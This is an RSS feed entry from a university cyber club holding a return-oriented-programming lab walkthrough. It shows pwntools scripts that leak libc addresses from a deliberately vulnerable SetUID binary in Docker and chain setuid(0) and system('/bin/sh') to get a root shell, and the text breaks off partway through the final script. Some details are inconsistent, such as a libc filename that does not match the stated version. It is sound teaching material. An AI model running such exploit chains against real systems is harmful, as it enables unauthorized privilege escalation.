<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Labs on</title><link>https://weber-cyber-club.github.io/labs/</link><description>Recent content in Labs on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sun, 11 Jan 2026 19:33:51 -0700</lastBuildDate><atom:link href="https://weber-cyber-club.github.io/labs/index.xml" rel="self" type="application/rss+xml"/><item><title>Return Oriented Programming</title><link>https://weber-cyber-club.github.io/labs/rop/</link><pubDate>Sun, 11 Jan 2026 19:33:51 -0700</pubDate><guid>https://weber-cyber-club.github.io/labs/rop/</guid><description>&lt;h1 id="binary-exploitation-rop-lab"&gt;Binary Exploitation: ROP Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The goal of this lab is to give students an introduction into binary exploitation. While this is not the most basic form of exploitation, it is a form that can give some good insight into how a computer works, how a processor runs through code, and how different code security features work.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is binary exploitation?&lt;/strong&gt; Binary exploitation is the practice of taking advantage of a flaw in a compiled piece of software in order to gain access or further your access within a system. Common exploits within this category include things like buffer overflow, use after free, or return oriented programming. Each technique requires different conditions, so not all these attacks are possible in every situation; however, we will cover some ways of finding the bread crumbs that will lead us to know which attack to use.&lt;/p&gt;</description><content>&lt;h1 id="binary-exploitation-rop-lab"&gt;Binary Exploitation: ROP Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The goal of this lab is to give students an introduction into binary exploitation. While this is not the most basic form of exploitation, it is a form that can give some good insight into how a computer works, how a processor runs through code, and how different code security features work.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is binary exploitation?&lt;/strong&gt; Binary exploitation is the practice of taking advantage of a flaw in a compiled piece of software in order to gain access or further your access within a system. Common exploits within this category include things like buffer overflow, use after free, or return oriented programming. Each technique requires different conditions, so not all these attacks are possible in every situation; however, we will cover some ways of finding the bread crumbs that will lead us to know which attack to use.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What attack will we use in this lab?&lt;/strong&gt; In this lab, we will leverage return oriented programming (ROP). We will get into specifics on why we are doing this later, but due to the specifics of our binary, this will be our approach for the lab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is ROP?&lt;/strong&gt; ROP, or return oriented programming, is an exploitation technique used against binaries that looks to take control of the program&amp;rsquo;s control flow and execute machine code on its behalf. This is a technique that can be used in the presence of something like &lt;a href="https://en.wikipedia.org/wiki/Executable-space_protection"&gt;executable-space protection&lt;/a&gt;, which is something that would stop us from using a buffer overflow to execute shell code. We gather assembly instructions from the binary, which are called gadgets. We hope to gather enough gadgets to eventually run commands from either the code itself or shared libraries which are linked with the binary–the end goal being running commands on the system we are attacking.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does this lab entail?&lt;/strong&gt; This lab will be a local privilege escalation lab targeting an Ubuntu 24.04 instance that is running in a Docker container. Using ROP, we will exploit a binary that has been configured with SetUID and SetGID permissions in Linux. These permissions make the binary run as root in this case, as that is the own of the file, giving us a golden opportunity for privilege escalation. The code is also vulnerable to a buffer overflow. These few attributes cause the perfect storm for us to be able to exploit this system, hopefully gaining root access to the system. After we get root access to the system, we can find the flag that is contained within the system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab Setup:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Victim
&lt;ul&gt;
&lt;li&gt;OS: Ubuntu 24.04 Docker Container&lt;/li&gt;
&lt;li&gt;Vulnerable Application: ROP&lt;/li&gt;
&lt;li&gt;Target: Flag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide&lt;/h2&gt;
&lt;h3 id="scope"&gt;Scope&lt;/h3&gt;
&lt;h3 id="getting-started"&gt;Getting Started&lt;/h3&gt;
&lt;p&gt;Before we begin our lab, let&amp;rsquo;s ensure we have everything that we need to be successful. If you haven&amp;rsquo;t already visited &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;Docker Setup&lt;/a&gt;, to get Docker installed and set up for labs. If you are confident in your Docker skills, don&amp;rsquo;t even worry, just keep going through the lab.&lt;/p&gt;
&lt;p&gt;Now with Docker installed, let&amp;rsquo;s begin checking and installing the dependencies that we will need for this demonstration. For this lab we are going to need Python 3, PWNTools, Ghidra, and checksec.&lt;/p&gt;
&lt;p&gt;To check if Python 3 exists just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As long as a version appears, you have Python 3 on your system already! If, for some reason, you did not have Python 3 installed, just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Ensures your repository indexes are current
sudo apt update
# Installs Python 3
sudo apt install python3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check if PWNTools is installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip show pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If PWNTools isn&amp;rsquo;t installed, you will run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt update
sudo apt install python3-pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check if checksec is installed run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;checksec --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If it is not installed just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install checksec
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check is Ghidra is installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If it is not installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our environment fully configured, let&amp;rsquo;s check what files we have available to us for this lab. To do this we need to pull down this lab from git:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git clone https://github.com/weber-cyber-club/Club-Challenges.git
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we just need to get into our Club-Challenges directory, and get to this lab:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Change into the lab directory
cd Club-Challenges/Labs/ROP/
# List the contents of the directory
ls
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now see a ROP file, an Assets folder, a Dockerfile, and this README file. We can ignore the Assets folder. This is a folder I leave in these labs, just in case you wanted to see what goes into making a lab like this. I know it gives the answer to the lab, however, so does the walkthrough. If you want to get the most out of these labs, look at the assets folder last, and learn how the lab was created.&lt;/p&gt;
&lt;p&gt;One of the first steps that we should take at this point is to complete the setup of this lab. We are going to build our Docker image and machine really quickly before we go any further. To build and run this Docker container, we need to run the following commands.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Builds the Docker container image using the Dockerfile in the current directory and gives it the tag of ROP-Lab
docker build -t rop-lab .
# Runs the Docker container image, not allowing the container to stop when it completes the current command it is working on, and detaches it from our console
docker run -itd --name rop-lab-container rop-lab
# Make sure the container is up and running
docker ps -a
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="reconnisance"&gt;Reconnisance&lt;/h3&gt;
&lt;p&gt;Now let&amp;rsquo;s access the docker container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Run a command on the docker container, make it interactive with a terminal
docker exec -it rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that we are in the Intern account. We can try to run a couple commands here, such as sudo -l to list our permissions on the system, but we can see sudo is not a command we can run. We can try to use the su command to switch user to the root account:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;su -
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, we are prompted for a password, which we do not know at this time. You can continue to look around, but we should probably check to see if there is anything on this system we can exploit to escalate our privileges. Let&amp;rsquo;s use the ls command in the /usr/bin directory to see which applications are installed on this system:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see an output that shows an interesting file. We can see ROP that has a red outline around it with white letters, in a terminal like we are using. This usually means the &lt;code&gt;SetUID&lt;/code&gt; bit is set. To check for sure let&amp;rsquo;s run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -l /usr/bin/ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To show a more detailed listing of the permissions on this file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-rwsr-sr-x 1 root root 16120
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a very interesting output. We can see that instead of the permissions showing ‘rwx’ like usual, they show ‘rws’. The ‘s’ is a special permission that lets a user run a command as the owner of the file. This is called the &lt;code&gt;SetUID&lt;/code&gt; bit. It does have some real uses, such as the passwd command. Passwd needs to have the ability to write to the /etc/shadow file. The only issue with this is root is the only user who is even allowed to look at this file. You may think this isn&amp;rsquo;t a huge deal–&amp;ldquo;I could just run &lt;code&gt;passwd&lt;/code&gt; as sudo or as root to get around this.&amp;rdquo; Well, this doesn&amp;rsquo;t really work. We want users to be able to change their own passwords, but we don&amp;rsquo;t want to give everyone sudo access, even limited sudo access. So instead we pretty much give the program sudo access. This is normally not a big deal, however, if we have a vulnerability in this program, this is a huge deal. We have been given this ROP executable on our local machine to play around with. So, let&amp;rsquo;s exit the docker container and do some analysis on our local machine.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# To leave the docker container
exit
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="weaponization"&gt;Weaponization&lt;/h3&gt;
&lt;p&gt;Once we are back on our local machine, let&amp;rsquo;s take a look at the executable file that we have been given. One good start for looking at files like this is to run the file command against it.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;file ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will tell us which architecture the executable is compiled for, whether it is dynamically or statically linked, and other potentially useful information. The output of this command will show us the file is an ELF 64-bit binary, the standard format for a 64-bit Linux system, and dynamically linked, which will be important later on.&lt;/p&gt;
&lt;p&gt;While this command can be helpful, there is a different command that will help us much more: the checksec command. Let&amp;rsquo;s run checksec against this file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;checksec --file=ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="Assets/checksec.png" alt="checksec output"&gt;&lt;/p&gt;
&lt;p&gt;We will not cover all of this output right now; however, if you are enjoying this topic of Binary Exploitation, I would highly encourage you to do further research into what all of these security controls do. The most important parts of this output will be Stack Canary (No Canary Found)–this is a random number added to the stack making stack based attacks more difficult–and NX bit (NX Enabled), which makes parts of the virtual memory non-executable preventing us from injecting code into areas of memory that we are not supposed to inject data. Now that we know what security controls we are contending with, let&amp;rsquo;s take a look at our program we have been given. First, let&amp;rsquo;s just start by running the program.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;./ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/ropoutput.png" alt="ROP output"&gt;&lt;/p&gt;
&lt;p&gt;Nothing crazy is happening so far, just a normal output. Let&amp;rsquo;s take a look at this code in a disassembler to see if there are any flaws that we could take advantage of. A good disassembler that should be in your install is called Ghidra. You can go up to your search bar or applications section, look for Ghidra and run it, or you can run it from your terminal with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now to create a project we will go to File &amp;gt; New Project, then click “Non-Shared Project” and click next. Keep the project directory the same, and name the project ROP-Challenge, then click finish.&lt;/p&gt;
&lt;p&gt;Then, we will go to File &amp;gt; Import File, then navigate to your &lt;code&gt;~/Club-Challenges/Labs/ROP&lt;/code&gt; file or where you stored it, import the file, and click next on the pop up that appears. Now, once we are back in the projects window, just double click on ROP.&lt;/p&gt;
&lt;p&gt;Click &lt;code&gt;yes&lt;/code&gt; on analyze and keep the default values, then click analyze. You should end up at a screen that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/ghidra.png" alt="Ghidra"&gt;&lt;/p&gt;
&lt;p&gt;Now, on the left middle of the screen there is a section called &lt;code&gt;Symbol Tree&lt;/code&gt;. We want to go to &lt;code&gt;Symbol Tree&lt;/code&gt; and click the arrow next to functions, then scroll down and click on main.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/main.png" alt="main"&gt;&lt;/p&gt;
&lt;p&gt;Now, in the right window we can see the decompilation of main. Don&amp;rsquo;t pay much mind to the &lt;code&gt;setvbuf&lt;/code&gt; statements–what we are interested in is the &lt;code&gt;vuln()&lt;/code&gt; function that is called, let&amp;rsquo;s do the same process as before to look at a function, but this time click on the &lt;code&gt;vuln()&lt;/code&gt; function:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/vuln.png" alt="vuln"&gt;&lt;/p&gt;
&lt;p&gt;There is something a bit more interesting in this output–we see the gets function. A fun fact about the gets function: Even the main page will tell you &amp;ldquo;do not use this function,&amp;rdquo; as it is that vulnerable. It does not do any bounds checking on the buffer that you attempt to write data to, causing a buffer overflow if you try to pass in an amount of data that is too large. In our case, it looks like the buffer we are writing to is 48 bytes in size. Equipped with this new knowledge, let&amp;rsquo;s go back to our terminal and attempt a buffer overflow on this program.&lt;/p&gt;
&lt;p&gt;Just close out of the Ghidra window. You can save the file if you&amp;rsquo;d like, but we don&amp;rsquo;t need any of that information anymore.&lt;/p&gt;
&lt;p&gt;In our terminal, let&amp;rsquo;s attempt a buffer overflow. While we could just lay on our keyboard to put out a bunch of data, that is not a very clean strategy. Instead we are going to use Python so that we can specify how many characters we want to load into our program. Let&amp;rsquo;s write our first partial exploit using Python. We are going to start poking around this program, trying to make it crash. Let&amp;rsquo;s start by sending 60 A&amp;rsquo;s to the program.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 -c &amp;#34;print(&amp;#39;A&amp;#39;*60)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We should see an output similar to this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/segfault.png" alt="segfault"&gt;&lt;/p&gt;
&lt;p&gt;Believe it or not, this segfault is wonderful news–we have just successfully overflowed a buffer. Now, we get into how we are actually going to leverage this issue to exploit the program. We are going to run the &lt;code&gt;dmesg&lt;/code&gt; command, a command that gives a look into what is going on within the system at this time, and we are going to see something interesting:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo dmesg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/overflow.png" alt="overflow"&gt;&lt;/p&gt;
&lt;p&gt;We can see we have our segfault, we overflowed 4 bytes (because the char representation of A is 41 and a char is a single byte), and our instruction pointer is set to 41414141 with some zeros before that. This means that we have overflowed our buffer by enough space to actually overwrite the instruction pointer on the stack. The instruction point (IP) is a pointer that tells the program where to go next. If we can write data to this IP, then we can tell the program what to do. In a normal buffer overflow, we would just put some shell code into memory and tell the program to go there. Well, in this case, remember our memory is not writeable right now. Sometimes there is a function within the code we&amp;rsquo;d like to go to,; however, in our example, there is nothing of use for us. We are going to want to take advantage of some libraries that the code has linked to it, specifically &lt;code&gt;Libc&lt;/code&gt;. The reason for this is most programs will have the &lt;code&gt;std&lt;/code&gt; library or &lt;code&gt;Libc&lt;/code&gt; linked to it, and &lt;code&gt;Libc&lt;/code&gt; contains functions, such as &lt;code&gt;system()&lt;/code&gt;, that will allow us to run system commands. But, we don&amp;rsquo;t have write access to the memory, so how can we get there? This is where the previously explained return oriented programming comes into play. We will now begin writing your return oriented program.&lt;/p&gt;
&lt;p&gt;Before we begin automating our exploit, let&amp;rsquo;s first get our buffer overflow fine tuned. We said we went 4 bytes into the IP, and we don&amp;rsquo;t want to be touching the IP, so we need to go down to 56 A&amp;rsquo;s. We should see this output after changing to just use 56 A&amp;rsquo;s:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/justa1.png" alt="just a one"&gt;&lt;/p&gt;
&lt;p&gt;Now with the instruction point clean, we are ready to start building out an exploit. We are going to use &lt;code&gt;PWNtools&lt;/code&gt; to do this. Let&amp;rsquo;s create a file in our current directory called &lt;code&gt;exploit.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;touch exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now let&amp;rsquo;s edit this file with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nano exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or whatever you like to edit files with.&lt;/p&gt;
&lt;p&gt;As always we will start by adding the:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#! /usr/bin/env python
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;line to specify our command interpreter. We are going to need to import pwn which import &lt;code&gt;PWNTools&lt;/code&gt;, as well as set some general information:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set our interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our general information set up, and we have gotten the ROP gadgets out of our ROP file, let&amp;rsquo;s move on to creating our first ROP chain.&lt;/p&gt;
&lt;p&gt;What do we want to do with this initial chain? We are trying to figure out which version of &lt;code&gt;Libc&lt;/code&gt; the system will be running. In order to do this, we are going to need to leak some memory addresses. We know from our code that we have access to the &lt;code&gt;puts()&lt;/code&gt; function, which is a print command. With this command, we could print out memory addresses from the Global Offset Table (GOT). This is a section of the ELF that stores the memory address for the external function that we are going to call within our program. The interesting part of this information is that there are databases that can tell, based on where the functions live within memory, which version of &lt;code&gt;Libc&lt;/code&gt; you are using (this is virtual memory addresses, which is why they are similar between systems that are using the same versions of &lt;code&gt;Libc&lt;/code&gt;). In order to do this, we are going to need to exploit the program&amp;rsquo;s buffer overflow, build up a ROP chain that will print out memory addresses within the GOT, then assign them to variables to print them out in hex form instead of in raw bytes.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts, and gets, then putting together ROP gadgets to drop us in the vuln function again, this will allow us to continue exploiting the program even after we run this first part of the exploit
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer
offset = 56
# This will consume the line that says &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data, the first will be the printed output of the puts GOT entry, we are receiving the raw bytes here, then we do the same thing for the GOT entry
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we run our code that we have thus far, we will get the address of the puts and gets functions from our own machine, but we want the ones from the docker container, so copy your code or copy mine from below, and we will run it within the docker container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts, and gets, then putting together ROP gadgets to drop us in the vuln function again, this will allow us to continue exploiting the program even after we run this first part of the exploit
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer
offset = 56
# This will consume the line that says, &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says, &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data, the first will be the printed output of the puts GOT entry, we are receiving the raw bytes here, then we do the same thing for the GOT entry
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remember our command to get into the docker container is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker exec -it rop-lab-container /bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you run an ls -a command from the directory you are dropped into you will see a .venv directory, this is where we are going to run our python commands. It is not required to have this directory, it will just make this next command more uniform for students if you all have this directory.&lt;/p&gt;
&lt;p&gt;We are going to need to import some python libraries, but with some python security measure we are going to need to do it within a python virtual environment, to create this python venv we will run the following command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
python3 -m venv .venv/
source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now were are in our virtual environment we will run the:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip install pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;command to install &lt;code&gt;PWNtools&lt;/code&gt; within this system. The reason this is possible is because this will only install in this virtual environment, not on the whole system, so you should be trusted to install things for yourself. Now let&amp;rsquo;s run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nano exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;within the docker container, and paste the code that we previously copied. We will need to make one modification. ROP is not in our directory anymore, it is in &lt;code&gt;/usr/bin/ROP&lt;/code&gt;, so we will need to change that portion of the code to reflect our current system.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/docker.png" alt="docker"&gt;&lt;/p&gt;
&lt;p&gt;As always we need to run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod +x exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be able to be allowed to execute the file, then we just need to run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To run the exploit.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/leak.png" alt="leak"&gt;&lt;/p&gt;
&lt;p&gt;We now have the memory leak that we need to get through the second part of our exploitation of this system. We now need to use this leak to find which version of &lt;code&gt;Libc&lt;/code&gt; we will need to attack. Let&amp;rsquo;s go to &lt;a href="https://libc.blukat.me/"&gt;this site&lt;/a&gt;, input our memory address, and see what it tells us.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/blukat.png" alt="blukat"&gt;&lt;/p&gt;
&lt;p&gt;We can now see that the version of &lt;code&gt;Libc&lt;/code&gt; could be one of a few variations of &lt;code&gt;libc6_2.39&lt;/code&gt;, in my experience, the different versions of Ubuntu variants don&amp;rsquo;t matter, but I just get the most recent one. Click on the one for &lt;code&gt;Ubuntu 8.6 amd64&lt;/code&gt;, and right click the download link to copy the link. Here is the link if you can&amp;rsquo;t copy it, &lt;code&gt;http://libc.blukat.me/d/libc6_3.39-0ubuntu8.6_amd64.so&lt;/code&gt;. Now, we will run &lt;code&gt;wget&lt;/code&gt; from within the docker container to pull down this &lt;code&gt;Libc&lt;/code&gt; shared object file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wget http://libc.blukat.me/d/libc6_3.39-0ubuntu8.6_amd64.so
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our &lt;code&gt;Libc&lt;/code&gt;, we are prepared to gain ROP gadgets from within the &lt;code&gt;Libc&lt;/code&gt; library to chain together to get to the &lt;code&gt;system()&lt;/code&gt; function, as system is probably the most powerful command we could ask for at this point. We are also going to do another trick while we&amp;rsquo;re at it. Although the program is going to be run as root because of the SetUID bit being set, when we exit the executable our privileges will drop, it is called an ephemeral UID. It is not super important to get into at this time; however, we will need to elevate our privileges within the program to full root, not just ephemeral, which we can do with some more ROP gadgets. Once we get all of these ROP gadgets, we can send an exploit to the executable, hopefully elevating our privileges to root. The following code will detail this last jump.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Load the Libc shared object as our ELF file we want to work on
libc = ELF(&amp;#34;libc6_3.39-0ubuntu8.6_amd64.so&amp;#34;)
# Find the base address of libc in memory by subtracting what the GOT has puts at and where puts is being show in the shared object file.
libc.address = puts - libc.symbols[&amp;#34;puts&amp;#34;]
# Print out this base address
log.info(f&amp;#34;libc base address {hex(libc.address)} &amp;#34;)
# Get the ROP gadgets out of the Libc ELF
rop = ROP(libc)
# Send this return. This is re-aligning the stack, a more advanced concept that is important as you progress through binary exploitation. I encourage you to look further into the importance of stack alignment, but I will not be covering this concept at this time.
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# The SetUID command set to 0 root&amp;#39;s userID
rop.setuid(0)
# Aligning the stack again
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# Setting the gid to 0 which is root&amp;#39;s groupID
rop.setgid(0)
# We will attempt to call the system function with the argument of /bin/sh. It would look like this: system(&amp;#34;/bin/sh&amp;#34;);
rop.call(libc.symbols[&amp;#34;system&amp;#34;], [next(libc.search(b&amp;#34;/bin/sh\x00&amp;#34;))])
# Exit out of the program dropping us into the shell
rop.call(libc.symbols[&amp;#34;exit&amp;#34;])
# Build a payload as an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# Turn the array into a string of bytes that can be sent to the program
payload = b&amp;#34;&amp;#34;.join(payload)
# Send the payload to the program
p.sendline(payload)
# Make our session interactive
p.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Making our final exploit be the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts and gets, then putting together ROP gadgets to drop us in the vuln function again. This will allow us to continue exploiting the program, even after we run this first part of the exploit.
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
